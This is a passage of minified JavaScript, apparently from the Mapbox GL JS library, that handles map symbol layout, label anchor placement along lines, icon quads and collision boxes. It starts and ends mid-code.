Yp(R,D,U,ee,ce){if(!(!ee&&!ce))for(var me=R[U],Se=me.metrics.advance*me.scale,We=(R[U].x+Se)*ee,at=D;at<=U;at++)R[at].x-=We,R[at].y+=ce}function Zp(R,D,U,ee,ce,me,Se,We,at){var dt=(D-U)*ce,xt=0;me!==Se?xt=-We*ee-yc:xt=(-ee*at+.5)*Se;for(var Bt=0,qt=R;Bt<qt.length;Bt+=1)for(var Zt=qt[Bt],vr=0,kr=Zt.positionedGlyphs;vr<kr.length;vr+=1){var Jr=kr[vr];Jr.x+=dt,Jr.y+=xt}}function Xp(R,D,U){var ee=ph(U),ce=ee.horizontalAlign,me=ee.verticalAlign,Se=D[0],We=D[1],at=Se-R.displaySize[0]*ce,dt=at+R.displaySize[0],xt=We-R.displaySize[1]*me,Bt=xt+R.displaySize[1];return{image:R,top:xt,bottom:Bt,left:at,right:dt}}function sv(R,D,U,ee,ce,me){var Se=R.image,We;if(Se.content){var at=Se.content,dt=Se.pixelRatio||1;We=[at[0]/dt,at[1]/dt,Se.displaySize[0]-at[2]/dt,Se.displaySize[1]-at[3]/dt]}var xt=D.left*me,Bt=D.right*me,qt,Zt,vr,kr;U==="width"||U==="both"?(kr=ce[0]+xt-ee[3],Zt=ce[0]+Bt+ee[1]):(kr=ce[0]+(xt+Bt-Se.displaySize[0])/2,Zt=kr+Se.displaySize[0]);var Jr=D.top*me,Zr=D.bottom*me;return U==="height"||U==="both"?(qt=ce[1]+Jr-ee[0],vr=ce[1]+Zr+ee[2]):(qt=ce[1]+(Jr+Zr-Se.displaySize[1])/2,vr=qt+Se.displaySize[1]),{image:Se,top:qt,right:Zt,bottom:vr,left:kr,collisionPadding:We}}var Gf=function(R){function D(U,ee,ce,me){R.call(this,U,ee),this.angle=ce,me!==void 0&&(this.segment=me)}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.clone=function(){return new D(this.x,this.y,this.angle,this.segment)},D}(t);se("Anchor",Gf);var yl=128;function gh(R,D){var U=D.expression;if(U.kind==="constant"){var ee=U.evaluate(new In(R+1));return{kind:"constant",layoutSize:ee}}else{if(U.kind==="source")return{kind:"source"};for(var ce=U.zoomStops,me=U.interpolationType,Se=0;Se<ce.length&&ce[Se]<=R;)Se++;Se=Math.max(0,Se-1);for(var We=Se;We<ce.length&&ce[We]<R+1;)We++;We=Math.min(ce.length-1,We);var at=ce[Se],dt=ce[We];if(U.kind==="composite")return{kind:"composite",minZoom:at,maxZoom:dt,interpolationType:me};var xt=U.evaluate(new In(at)),Bt=U.evaluate(new In(dt));return{kind:"camera",minZoom:at,maxZoom:dt,minSize:xt,maxSize:Bt,interpolationType:me}}}function lv(R,D,U){var ee=D.uSize,ce=D.uSizeT,me=U.lowerSize,Se=U.upperSize;return R.kind==="source"?me/yl:R.kind==="composite"?xi(me/yl,Se/yl,ce):ee}function uv(R,D){var U=0,ee=0;if(R.kind==="constant")ee=R.layoutSize;else if(R.kind!=="source"){var ce=R.interpolationType,me=R.minZoom,Se=R.maxZoom,We=ce?s(wi.interpolationFactor(ce,D,me,Se),0,1):0;R.kind==="camera"?ee=xi(R.minSize,R.maxSize,We):U=We}return{uSizeT:U,uSize:ee}}var jp=Object.freeze({__proto__:null,getSizeData:gh,evaluateSizeForFeature:lv,evaluateSizeForZoom:uv,SIZE_PACK_FACTOR:yl});function fv(R,D,U,ee,ce){if(D.segment===void 0)return!0;for(var me=D,Se=D.segment+1,We=0;We>-U/2;){if(Se--,Se<0)return!1;We-=R[Se].dist(me),me=R[Se]}We+=R[Se].dist(R[Se+1]),Se++;for(var at=[],dt=0;We<U/2;){var xt=R[Se-1],Bt=R[Se],qt=R[Se+1];if(!qt)return!1;var Zt=xt.angleTo(Bt)-Bt.angleTo(qt);for(Zt=Math.abs((Zt+3*Math.PI)%(Math.PI*2)-Math.PI),at.push({distance:We,angleDelta:Zt}),dt+=Zt;We-at[0].distance>ee;)dt-=at.shift().angleDelta;if(dt>ce)return!1;Se++,We+=Bt.dist(qt)}return!0}function cv(R){for(var D=0,U=0;U<R.length-1;U++)D+=R[U].dist(R[U+1]);return D}function hv(R,D,U){return R?.6*D*U:0}function vv(R,D){return Math.max(R?R.right-R.left:0,D?D.right-D.left:0)}function Kp(R,D,U,ee,ce,me){for(var Se=hv(U,ce,me),We=vv(U,ee)*me,at=0,dt=cv(R)/2,xt=0;xt<R.length-1;xt++){var Bt=R[xt],qt=R[xt+1],Zt=Bt.dist(qt);if(at+Zt>dt){var vr=(dt-at)/Zt,kr=xi(Bt.x,qt.x,vr),Jr=xi(Bt.y,qt.y,vr),Zr=new Gf(kr,Jr,qt.angleTo(Bt),xt);return Zr._round(),!Se||fv(R,Zr,We,Se,D)?Zr:void 0}at+=Zt}}function Jp(R,D,U,ee,ce,me,Se,We,at){var dt=hv(ee,me,Se),xt=vv(ee,ce),Bt=xt*Se,qt=R[0].x===0||R[0].x===at||R[0].y===0||R[0].y===at;D-Bt<D/4&&(D=Bt+D/4);var Zt=me*2,vr=qt?D/2*We%D:(xt/2+Zt)*Se*We%D;return dv(R,vr,D,dt,U,Bt,qt,!1,at)}function dv(R,D,U,ee,ce,me,Se,We,at){for(var dt=me/2,xt=cv(R),Bt=0,qt=D-U,Zt=[],vr=0;vr<R.length-1;vr++){for(var kr=R[vr],Jr=R[vr+1],Zr=kr.dist(Jr),mn=Jr.angleTo(kr);qt+U<Bt+Zr;){qt+=U;var hn=(qt-Bt)/Zr,yn=xi(kr.x,Jr.x,hn),Cn=xi(kr.y,Jr.y,hn);if(yn>=0&&yn<at&&Cn>=0&&Cn<at&&qt-dt>=0&&qt+dt<=xt){var _n=new Gf(yn,Cn,mn,vr);_n._round(),(!ee||fv(R,_n,me,ee,ce))&&Zt.push(_n)}}Bt+=Zr}return!We&&!Zt.length&&!Se&&(Zt=dv(R,Bt/2,U,ee,ce,me,Se,!0,at)),Zt}function pv(R,D,U,ee,ce){for(var me=[],Se=0;Se<R.length;Se++)for(var We=R[Se],at=void 0,dt=0;dt<We.length-1;dt++){var xt=We[dt],Bt=We[dt+1];xt.x<D&&Bt.x<D||(xt.x<D?xt=new t(D,xt.y+(Bt.y-xt.y)*((D-xt.x)/(Bt.x-xt.x)))._round():Bt.x<D&&(Bt=new t(D,xt.y+(Bt.y-xt.y)*((D-xt.x)/(Bt.x-xt.x)))._round()),!(xt.y<U&&Bt.y<U)&&(xt.y<U?xt=new t(xt.x+(Bt.x-xt.x)*((U-xt.y)/(Bt.y-xt.y)),U)._round():Bt.y<U&&(Bt=new t(xt.x+(Bt.x-xt.x)*((U-xt.y)/(Bt.y-xt.y)),U)._round()),!(xt.x>=ee&&Bt.x>=ee)&&(xt.x>=ee?xt=new t(ee,xt.y+(Bt.y-xt.y)*((ee-xt.x)/(Bt.x-xt.x)))._round():Bt.x>=ee&&(Bt=new t(ee,xt.y+(Bt.y-xt.y)*((ee-xt.x)/(Bt.x-xt.x)))._round()),!(xt.y>=ce&&Bt.y>=ce)&&(xt.y>=ce?xt=new t(xt.x+(Bt.x-xt.x)*((ce-xt.y)/(Bt.y-xt.y)),ce)._round():Bt.y>=ce&&(Bt=new t(xt.x+(Bt.x-xt.x)*((ce-xt.y)/(Bt.y-xt.y)),ce)._round()),(!at||!xt.equals(at[at.length-1]))&&(at=[xt],me.push(at)),at.push(Bt)))))}return me}var Wf=es;function gv(R,D,U,ee){var ce=[],me=R.image,Se=me.pixelRatio,We=me.paddedRect.w-2*Wf,at=me.paddedRect.h-2*Wf,dt=R.right-R.left,xt=R.bottom-R.top,Bt=me.stretchX||[[0,We]],qt=me.stretchY||[[0,at]],Zt=function(Xa,Va){return Xa+Va[1]-Va[0]},vr=Bt.reduce(Zt,0),kr=qt.reduce(Zt,0),Jr=We-vr,Zr=at-kr,mn=0,hn=vr,yn=0,Cn=kr,_n=0,Yn=Jr,Gn=0,ga=Zr;if(me.content&&ee){var aa=me.content;mn=Nc(Bt,0,aa[0]),yn=Nc(qt,0,aa[1]),hn=Nc(Bt,aa[0],aa[2]),Cn=Nc(qt,aa[1],aa[3]),_n=aa[0]-mn,Gn=aa[1]-yn,Yn=aa[2]-aa[0]-hn,ga=aa[3]-aa[1]-Cn}var ua=function(Xa,Va,hi,pi){var Ci=Uc(Xa.stretch-mn,hn,dt,R.left),Ri=Hc(Xa.fixed-_n,Yn,Xa.stretch,vr),Qi=Uc(Va.stretch-yn,Cn,xt,R.top),Vi=Hc(Va.fixed-Gn,ga,Va.stretch,kr),xo=Uc(hi.stretch-mn,hn,dt,R.left),bo=Hc(hi.fixed-_n,Yn,hi.stretch,vr),$i=Uc(pi.stretch-yn,Cn,xt,R.top),Co=Hc(pi.fixed-Gn,ga,pi.stretch,kr),Lo=new t(Ci,Qi),Zi=new t(xo,Qi),Po=new t(xo,$i),ds=new t(Ci,$i),mu=new t(Ri/Se,Vi/Se),ju=new t(bo/Se,Co/Se),Ku=D*Math.PI/180;if(Ku){var Ju=Math.sin(Ku),$f=Math.cos(Ku),Xs=[$f,-Ju,Ju,$f];Lo._matMult(Xs),Zi._matMult(Xs),ds._matMult(Xs),Po._matMult(Xs)}var Xc=Xa.stretch+Xa.fixed,Mh=hi.stretch+hi.fixed,jc=Va.stretch+Va.fixed,Sh=pi.stretch+pi.fixed,Ls={x:me.paddedRect.x+Wf+Xc,y:me.paddedRect.y+Wf+jc,w:Mh-Xc,h:Sh-jc},qf=Yn/Se/dt,Kc=ga/Se/xt;return{tl:Lo,tr:Zi,bl:ds,br:Po,tex:Ls,writingMode:void 0,glyphOffset:[0,0],sectionIndex:0,pixelOffsetTL:mu,pixelOffsetBR:ju,minFontScaleX:qf,minFontScaleY:Kc,isSDF:U}};if(!ee||!me.stretchX&&!me.stretchY)ce.push(ua({fixed:0,stretch:-1},{fixed:0,stretch:-1},{fixed:0,stretch:We+1},{fixed:0,stretch:at+1}));else for(var Pa=yv(Bt,Jr,vr),va=yv(qt,Zr,kr),da=0;da<Pa.length-1;da++)for(var _a=Pa[da],Ea=Pa[da+1],Ya=0;Ya<va.length-1;Ya++){var oi=va[Ya],Za=va[Ya+1];ce.push(ua(_a,oi,Ea,Za))}return ce}function Nc(R,D,U){for(var ee=0,ce=0,me=R;ce<me.length;ce+=1){var Se=me[ce];ee+=Math.max(D,Math.min(U,Se[1]))-Math.max(D,Math.min(U,Se[0]))}return ee}function yv(R,D,U){for(var ee=[{fixed:-Wf,stretch:0}],ce=0,me=R;ce<me.length;ce+=1){var Se=me[ce],We=Se[0],at=Se[1],dt=ee[ee.length-1];ee.push({fixed:We-dt.stretch,stretch:dt.stretch}),ee.push({fixed:We-dt.stretch,stretch:dt.stretch+(at-We)})}return ee.push({fixed:D+Wf,stretch:U}),ee}function Uc(R,D,U,ee){return R/D*U+ee}function Hc(R,D,U,ee){return R-D*U/ee}function Qp(R,D,U,ee,ce,me,Se,We){for(var at=ee.layout.get("text-rotate").evaluate(me,{})*Math.PI/180,dt=[],xt=0,Bt=D.positionedLines;xt<Bt.length;xt+=1)for(var qt=Bt[xt],Zt=0,vr=qt.positionedGlyphs;Zt<vr.length;Zt+=1){var kr=vr[Zt];if(kr.rect){var Jr=kr.rect||{},Zr=1,mn=qh+Zr,hn=!0,yn=1,Cn=0,_n=(ce||We)&&kr.vertical,Yn=kr.metrics.advance*kr.scale/2;if(We&&D.verticalizable){var Gn=(kr.scale-1)*io,ga=(io-kr.metrics.width*kr.scale)/2;Cn=qt.lineOffset/2-(kr.imageName?-ga:Gn)}if(kr.imageName){var aa=Se[kr.imageName];hn=aa.sdf,yn=aa.pixelRatio,mn=es/yn}var ua=ce?[kr.x+Yn,kr.y]:[0,0],Pa=ce?[0,0]:[kr.x+Yn+U[0],kr.y+U[1]-Cn],va=[0,0];_n&&(va=Pa,Pa=[0,0]);var da=(kr.metrics.left-mn)*kr.scale-Yn+Pa[0],_a=(-kr.metrics.top-mn)*kr.scale+Pa[1],Ea=da+Jr.w*kr.scale/yn,Ya=_a+Jr.h*kr.scale/yn,oi=new t(da,_a),Za=new t(Ea,_a),Xa=new t(da,Ya),Va=new t(Ea,Ya);if(_n){var hi=new t(-Yn,Yn-yc),pi=-Math.PI/2,Ci=io/2-Yn,Ri=kr.imageName?Ci:0,Qi=new t(5-yc-Ci,-Ri),Vi=new(Function.prototype.bind.apply(t,[null].concat(va)));oi._rotateAround(pi,hi)._add(Qi)._add(Vi),Za._rotateAround(pi,hi)._add(Qi)._add(Vi),Xa._rotateAround(pi,hi)._add(Qi)._add(Vi),Va._rotateAround(pi,hi)._add(Qi)._add(Vi)}if(at){var xo=Math.sin(at),bo=Math.cos(at),$i=[bo,-xo,xo,bo];oi._matMult($i),Za._matMult($i),Xa._matMult($i),Va._matMult($i)}var Co=new t(0,0),Lo=new t(0,0),Zi=0,Po=0;dt.push({tl:oi,tr:Za,bl:Xa,br:Va,tex:Jr,writingMode:D.writingMode,glyphOffset:ua,sectionIndex:kr.sectionIndex,isSDF:hn,pixelOffsetTL:Co,pixelOffsetBR:Lo,minFontScaleX:Zi,minFontScaleY:Po})}}return dt}var Vc=function(D,U,ee,ce,me,Se,We,at,dt,xt){if(this.boxStartIndex=D.length,dt){var Bt=Se.top,qt=Se.bottom,Zt=Se.collisionPadding;Zt&&(Bt-=Zt[1],qt+=Zt[3]);var vr=qt-Bt;vr>0&&(vr=Math.max(10,vr),this.circleDiameter=vr)}else{var kr=Se.top*We-at,Jr=Se.bottom*We+at,Zr=Se.left*We-at,mn=Se.right*We+at,hn=Se.collisionPadding;if(hn&&(Zr-=hn[0]*We,kr-=hn[1]*We,mn+=hn[2]*We,Jr+=hn[3]*We),xt){var yn=new t(Zr,kr),Cn=new t(mn,kr),_n=new t(Zr,Jr),Yn=new t(mn,Jr),Gn=xt*Math.PI/180;yn._rotate(Gn),Cn._rotate(Gn),_n._rotate(Gn),Yn._rotate(Gn),Zr=Math.min(yn.x,Cn.x,_n.x,Yn.x),mn=Math.max(yn.x,Cn.x,_n.x,Yn.x),kr=Math.min(yn.y,Cn.y,_n.y,Yn.y),Jr=Math.max(yn.y,Cn.y,_n.y,Yn.y)}D.emplaceBack(U.x,U.y,Zr,kr,mn,Jr,ee,ce,me)}this.boxEndIndex=D.length},Yf=function(D,U){if(D===void 0&&(D=[]),U===void 0&&(U=$p),this.data=D,this.length=this.data.length,this.compare=U,this.length>0)for(var ee=(this.length>>1)-1;ee>=0;ee--)this._down(ee)};Yf.prototype.push=function(D){this.data.push(D),this.length++,this._up(this.length-1)},Yf.prototype.pop=function(){if(this.length!==0){var D=this.data[0],U=this.data.pop();return this.length--,this.length>0&&(this.data[0]=U,this._down(0)),D}},Yf.prototype.peek=function(){return this.data[0]},Yf.prototype._up=function(D){for(var U=this,ee=U.data,ce=U.compare,me=ee[D];D>0;){var Se=D-1>>1,We=ee[Se];if(ce(me,We)>=0)break;ee[D]=We,D=Se}ee[D]=me},Yf.prototype._down=function(D){for(var U=this,ee=U.data,ce=U.compare,me=this.length>>1,Se=ee[D];D<me;){var We=(D<<1)+1,at=ee[We],dt=We+1;if(dt<this.length&&ce(ee[dt],at)<0&&(We=dt,at=ee[dt]),ce(at,Se)>=0)break;ee[D]=at,D=We}ee[D]=Se};function $p(R,D){return R<D?-1:R>D?1:0}function qp(R,D,U){U===void 0&&(U=!1);for(var ee=1/0,ce=1/0,me=-1/0,Se=-1/0,We=R[0],at=0;at<We.length;at++){var dt=We[at];(!at||dt.x<ee)&&(ee=dt.x),(!at||dt.y<ce)&&(ce=dt.y),(!at||dt.x>me)&&(me=dt.x),(!at||dt.y>Se)&&(Se=dt.y)}var xt=me-ee,Bt=Se-ce,qt=Math.min(xt,Bt),Zt=qt/2,vr=new Yf([],e0);if(qt===0)return new t(ee,ce);for(var kr=ee;kr<me;kr+=qt)for(var Jr=ce;Jr<Se;Jr+=qt)vr.push(new Zf(kr+Zt,Jr+Zt,Zt,R));for(var Zr=r0(R),mn=vr.length;vr.length;){var hn=vr.pop();(hn.d>Zr.d||!Zr.d)&&(Zr=hn,U&&console.log("found best %d after %d probes",Math.round(1e4*hn.d)/1e4,mn)),!(hn.max-Zr.d<=D)&&(Zt=hn.h/2,vr.push(new Zf(hn.p.x-Zt,hn.p.y-Zt,Zt,R)),vr.push(new Zf(hn.p.x+Zt,hn.p.y-Zt,Zt,R)),vr.push(new Zf(hn.p.x-Zt,hn.p.y+Zt,Zt,R)),vr.push(new Zf(hn.p.x+Zt,hn.p.y+Zt,Zt,R)),mn+=4)}return U&&(console.log("num probes: "+mn),console.log("best distance: "+Zr.d)),Zr.p}function e0(R,D){return D.max-R.max}function Zf(R,D,U,ee){this.p=new t(R,D),this.h=U,this.d=t0(this.p,ee),this.max=this.d+this.h*Math.SQRT2}function t0(R,D){for(var U=!1,ee=1/0,ce=0;ce<D.length;ce++)for(var me=D[ce],Se=0,We=me.length,at=We-1;Se<We;at=Se++){var dt=me[Se],xt=me[at];dt.y>R.y!=xt.y>R.y&&R.x<(xt.x-dt.x)*(R.y-dt.y)/(xt.y-dt.y)+dt.x&&(U=!U),ee=Math.min(ee,vl(R,dt,xt))}return(U?1:-1)*Math.sqrt(ee)}function r0(R){for(var D=0,U=0,ee=0,ce=R[0],me=0,Se=ce.length,We=Se-1;me<Se;We=me++){var at=ce[me],dt=ce[We],xt=at.x*dt.y-dt.x*at.y;U+=(at.x+dt.x)*xt,ee+=(at.y+dt.y)*xt,D+=xt*3}return new Zf(U/D,ee/D,0,R)}var Xf=7,yh=Number.POSITIVE_INFINITY;function mv(R,D){function U(ce,me){var Se=0,We=0;me<0&&(me=0);var at=me/Math.sqrt(2);switch(ce){case"top-right":case"top-left":We=at-Xf;break;case"bottom-right":case"bottom-left":We=-at+Xf;break;case"bottom":We=-me+Xf;break;case"top":We=me-Xf;break}switch(ce){case"top-right":case"bottom-right":Se=-at;break;case"top-left":case"bottom-left":Se=at;break;case"left":Se=me;break;case"right":Se=-me;break}return[Se,We]}function ee(ce,me,Se){var We=0,at=0;switch(me=Math.abs(me),Se=Math.abs(Se),ce){case"top-right":case"top-left":case"top":at=Se-Xf;break;case"bottom-right":case"bottom-left":case"bottom":at=-Se+Xf;break}switch(ce){case"top-right":case"bottom-right":case"right":We=-me;break;case"top-left":case"bottom-left":case"left":We=me;break}return[We,at]}return D[1]!==yh?ee(R,D[0],D[1]):U(R,D[0])}function n0(R,D,U,ee,ce,me,Se){R.createArrays();var We=512*R.overscaling;R.tilePixelRatio=xa/We,R.compareText={},R.iconsNeedLinear=!1;var at=R.layers[0].layout,dt=R.layers[0]._unevaluatedLayout._values,xt={};if(R.textSizeData.kind==="composite"){var Bt=R.textSizeData,qt=Bt.minZoom,Zt=Bt.maxZoom;xt.compositeTextSizes=[dt["text-size"].possiblyEvaluate(new In(qt),Se),dt["text-size"].possiblyEvaluate(new In(Zt),Se)]}if(R.iconSizeData.kind==="composite"){var vr=R.iconSizeData,kr=vr.minZoom,Jr=vr.maxZoom;xt.compositeIconSizes=[dt["icon-size"].possiblyEvaluate(new In(kr),Se),dt["icon-size"].possiblyEvaluate(new In(Jr),Se)]}xt.layoutTextSize=dt["text-size"].possiblyEvaluate(new In(R.zoom+1),Se),xt.layoutIconSize=dt["icon-size"].possiblyEvaluate(new In(R.zoom+1),Se),xt.textMaxSize=dt["text-size"].possiblyEvaluate(new In(18));for(var Zr=at.get("text-line-height")*io,mn=at.get("text-rotation-alignment")==="map"&&at.get("symbol-placement")!=="point",hn=at.get("text-keep-upright"),yn=at.get("text-size"),Cn=function(){var Gn=Yn[_n],ga=at.get("text-font").evaluate(Gn,{},Se).join(","),aa=yn.evaluate(Gn,{},Se),ua=xt.layoutTextSize.evaluate(Gn,{},Se),Pa=xt.layoutIconSize.evaluate(Gn,{},Se),va={horizontal:{},vertical:void 0},da=Gn.text,_a=[0,0];if(da){var Ea=da.toString(),Ya=at.get("text-letter-spacing").evaluate(Gn,{},Se)*io,oi=jt(Ea)?Ya:0,Za=at.get("text-anchor").evaluate(Gn,{},Se),Xa=at.get("text-variable-anchor");if(!Xa){var Va=at.get("text-radial-offset").evaluate(Gn,{},Se);Va?_a=mv(Za,[Va*io,yh]):_a=at.get("text-offset").evaluate(Gn,{},Se).map(function(mu){return mu*io})}var hi=mn?"center":at.get("text-justify").evaluate(Gn,{},Se),pi=at.get("symbol-placement"),Ci=pi==="point"?at.get("text-max-width").evaluate(Gn,{},Se)*io:0,Ri=function(){R.allowVerticalPlacement&&kt(Ea)&&(va.vertical=Bc(da,D,U,ce,ga,Ci,Zr,Za,"left",oi,_a,vs.vertical,!0,pi,ua,aa))};if(!mn&&Xa){for(var Qi=hi==="auto"?Xa.map(function(mu){return mh(mu)}):[hi],Vi=!1,xo=0;xo<Qi.length;xo++){var bo=Qi[xo];if(!va.horizontal[bo])if(Vi)va.horizontal[bo]=va.horizontal[0];else{var $i=Bc(da,D,U,ce,ga,Ci,Zr,"center",bo,oi,_a,vs.horizontal,!1,pi,ua,aa);$i&&(va.horizontal[bo]=$i,Vi=$i.positionedLines.length===1)}}Ri()}else{hi==="auto"&&(hi=mh(Za));var Co=Bc(da,D,U,ce,ga,Ci,Zr,Za,hi,oi,_a,vs.horizontal,!1,pi,ua,aa);Co&&(va.horizontal[hi]=Co),Ri(),kt(Ea)&&mn&&hn&&(va.vertical=Bc(da,D,U,ce,ga,Ci,Zr,Za,hi,oi,_a,vs.vertical,!1,pi,ua,aa))}}var Lo=void 0,Zi=!1;if(Gn.icon&&Gn.icon.name){var Po=ee[Gn.icon.name];Po&&(Lo=Xp(ce[Gn.icon.name],at.get("icon-offset").evaluate(Gn,{},Se),at.get("icon-anchor").evaluate(Gn,{},Se)),Zi=Po.sdf,R.sdfIcons===void 0?R.sdfIcons=Po.sdf:R.sdfIcons!==Po.sdf&&B("Style sheet warning: Cannot mix SDF and non-SDF icons in one buffer"),(Po.pixelRatio!==R.pixelRatio||at.get("icon-rotate").constantOr(1)!==0)&&(R.iconsNeedLinear=!0))}var ds=bv(va.horizontal)||va.vertical;R.iconsInText=ds?ds.iconsInText:!1,(ds||Lo)&&a0(R,Gn,va,Lo,ee,xt,ua,Pa,_a,Zi,Se)},_n=0,Yn=R.features;_n<Yn.length;_n+=1)Cn();me&&R.generateCollisionDebugBuffers()}function mh(R){switch(R){case"right":case"top-right":case"bottom-right":return"right";case"left":case"top-left":case"bottom-left":return"left"}return"center"}function a0(R,D,U,ee,ce,me,Se,We,at,dt,xt){var Bt=me.textMaxSize.evaluate(D,{});Bt===void 0&&(Bt=Se);var qt=R.layers[0].layout,Zt=qt.get("icon-offset").evaluate(D,{},xt),vr=bv(U.horizontal),kr=24,Jr=Se/kr,Zr=R.tilePixelRatio*Jr,mn=R.tilePixelRatio*Bt/kr,hn=R.tilePixelRatio*We,yn=R.tilePixelRatio*qt.get("symbol-spacing"),Cn=qt.get("text-padding")*R.tilePixelRatio,_n=qt.get("icon-padding")*R.tilePixelRatio,Yn=qt.get("text-max-angle")/180*Math.PI,Gn=qt.get("text-rotation-alignment")==="map"&&qt.get("symbol-placement")!=="point",ga=qt.get("icon-rotation-alignment")==="map"&&qt.get("symbol-placement")!=="point",aa=qt.get("symbol-placement"),ua=yn/2,Pa=qt.get("icon-text-fit"),va;ee&&Pa!=="none"&&(R.allowVerticalPlacement&&U.vertical&&(va=sv(ee,U.vertical,Pa,qt.get("icon-text-fit-padding"),Zt,Jr)),vr&&(ee=sv(ee,vr,Pa,qt.get("icon-text-fit-padding"),Zt,Jr)));var da=function($f,Xs){Xs.x<0||Xs.x>=xa||Xs.y<0||Xs.y>=xa||i0(R,Xs,$f,U,ee,ce,va,R.layers[0],R.collisionBoxArray,D.index,D.sourceLayerIndex,R.index,Zr,Cn,Gn,at,hn,_n,ga,Zt,D,me,dt,xt,Se)};if(aa==="line")for(var _a=0,Ea=pv(D.geometry,0,0,xa,xa);_a<Ea.length;_a+=1)for(var Ya=Ea[_a],oi=Jp(Ya,yn,Yn,U.vertical||vr,ee,kr,mn,R.overscaling,xa),Za=0,Xa=oi;Za<Xa.length;Za+=1){var Va=Xa[Za],hi=vr;(!hi||!o0(R,hi.text,ua,Va))&&da(Ya,Va)}else if(aa==="line-center")for(var pi=0,Ci=D.geometry;pi<Ci.length;pi+=1){var Ri=Ci[pi];if(Ri.length>1){var Qi=Kp(Ri,Yn,U.vertical||vr,ee,kr,mn);Qi&&da(Ri,Qi)}}else if(D.type==="Polygon")for(var Vi=0,xo=sh(D.geometry,0);Vi<xo.length;Vi+=1){var bo=xo[Vi],$i=qp(bo,16);da(bo[0],new Gf($i.x,$i.y,0))}else if(D.type==="LineString")for(var Co=0,Lo=D.geometry;Co<Lo.length;Co+=1){var Zi=Lo[Co];da(Zi,new Gf(Zi[0].x,Zi[0].y,0))}else if(D.type==="Point")for(var Po=0,ds=D.geometry;Po<ds.length;Po+=1)for(var mu=ds[Po],ju=0,Ku=mu;ju<Ku.length;ju+=1){var Ju=Ku[ju];da([Ju],new Gf(Ju.x,Ju.y,0))}}var mc=255,Zu=mc*yl;function xv(R,D,U,ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr){var kr=Qp(D,U,We,ce,me,Se,ee,R.allowVerticalPlacement),Jr=R.textSizeData,Zr=null;Jr.kind==="source"?(Zr=[yl*ce.layout.get("text-size").evaluate(Se,{})],Zr[0]>Zu&&B(R.layerIds[0]+': Value for "text-size" is >= '+mc+'. Reduce your "text-size".')):Jr.kind==="composite"&&(Zr=[yl*Zt.compositeTextSizes[0].evaluate(Se,{},vr),yl*Zt.compositeTextSizes[1].evaluate(Se,{},vr)],(Zr[0]>Zu||Zr[1]>Zu)&&B(R.layerIds[0]+': Value for "text-size" is >= '+mc+'. Reduce your "text-size".')),R.addSymbols(R.text,kr,Zr,We,me,Se,dt,D,at.lineStartIndex,at.lineLength,qt,vr);for(var mn=0,hn=xt;mn<hn.length;mn+=1){var yn=hn[mn];Bt[yn]=R.text.placedSymbolArray.length-1}return kr.length*4}function bv(R){for(var D in R)return R[D];return null}function i0(R,D,U,ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr,kr,Jr,Zr,mn,hn,yn,Cn,_n,Yn,Gn){var ga,aa=R.addToLineVertexArray(D,U),ua,Pa,va,da,_a=0,Ea=0,Ya=0,oi=0,Za=-1,Xa=-1,Va={},hi=He(""),pi=0,Ci=0;if(We._unevaluatedLayout.getValue("text-radial-offset")===void 0?(ga=We.layout.get("text-offset").evaluate(yn,{},Yn).map(function(wc){return wc*io}),pi=ga[0],Ci=ga[1]):(pi=We.layout.get("text-radial-offset").evaluate(yn,{},Yn)*io,Ci=yh),R.allowVerticalPlacement&&ee.vertical){var Ri=We.layout.get("text-rotate").evaluate(yn,{},Yn),Qi=Ri+90,Vi=ee.vertical;va=new Vc(at,D,dt,xt,Bt,Vi,qt,Zt,vr,Qi),Se&&(da=new Vc(at,D,dt,xt,Bt,Se,Jr,Zr,vr,Qi))}if(ce){var xo=We.layout.get("icon-rotate").evaluate(yn,{}),bo=We.layout.get("icon-text-fit")!=="none",$i=gv(ce,xo,_n,bo),Co=Se?gv(Se,xo,_n,bo):void 0;Pa=new Vc(at,D,dt,xt,Bt,ce,Jr,Zr,!1,xo),_a=$i.length*4;var Lo=R.iconSizeData,Zi=null;Lo.kind==="source"?(Zi=[yl*We.layout.get("icon-size").evaluate(yn,{})],Zi[0]>Zu&&B(R.layerIds[0]+': Value for "icon-size" is >= '+mc+'. Reduce your "icon-size".')):Lo.kind==="composite"&&(Zi=[yl*Cn.compositeIconSizes[0].evaluate(yn,{},Yn),yl*Cn.compositeIconSizes[1].evaluate(yn,{},Yn)],(Zi[0]>Zu||Zi[1]>Zu)&&B(R.layerIds[0]+': Value for "icon-size" is >= '+mc+'. Reduce your "icon-size".')),R.addSymbols(R.icon,$i,Zi,hn,mn,yn,!1,D,aa.lineStartIndex,aa.lineLength,-1,Yn),Za=R.icon.placedSymbolArray.length-1,Co&&(Ea=Co.length*4,R.addSymbols(R.icon,Co,Zi,hn,mn,yn,vs.vertical,D,aa.lineStartIndex,aa.lineLength,-1,Yn),Xa=R.icon.placedSymbolArray.length-1)}for(var Po in ee.horizontal){var ds=ee.horizontal[Po];if(!ua){hi=He(ds.text);var mu=We.layout.get("text-rotate").evaluate(yn,{},Yn);ua=new Vc(at,D,dt,xt,Bt,ds,qt,Zt,vr,mu)}var ju=ds.positionedLines.length===1;if(Ya+=xv(R,D,ds,me,We,vr,yn,kr,aa,ee.vertical?vs.horizontal:vs.horizontalOnly,ju?Object.keys(ee.horizontal):[Po],Va,Za,Cn,Yn),ju)break}ee.vertical&&(oi+=xv(R,D,ee.vertical,me,We,vr,yn,kr,aa,vs.vertical,["vertical"],Va,Xa,Cn,Yn));var Ku=ua?ua.boxStartIndex:R.collisionBoxArray.length,Ju=ua?ua.boxEndIndex:R.collisionBoxArray.length,$f=va?va.boxStartIndex:R.collisionBoxArray.length,Xs=va?va.boxEndIndex:R.collisionBoxArray.length,Xc=Pa?Pa.boxStartIndex:R.collisionBoxArray.length,Mh=Pa?Pa.boxEndIndex:R.collisionBoxArray.length,jc=da?da.boxStartIndex:R.collisionBoxArray.length,Sh=da?da.boxEndIndex:R.collisionBoxArray.length,Ls=-1,qf=function(wc,Fv){return wc&&wc.circleDiameter?Math.max(wc.circleDiameter,Fv):Fv};Ls=qf(ua,Ls),Ls=qf(va,Ls),Ls=qf(Pa,Ls),Ls=qf(da,Ls);var Kc=Ls>-1?1:0;Kc&&(Ls*=Gn/io),R.glyphOffsetArray.length>=ii.MAX_GLYPHS&&B("Too many glyphs being rendered in a tile. See https://github.com/mapbox/mapbox-gl-js/issues/2907"),yn.sortKey!==void 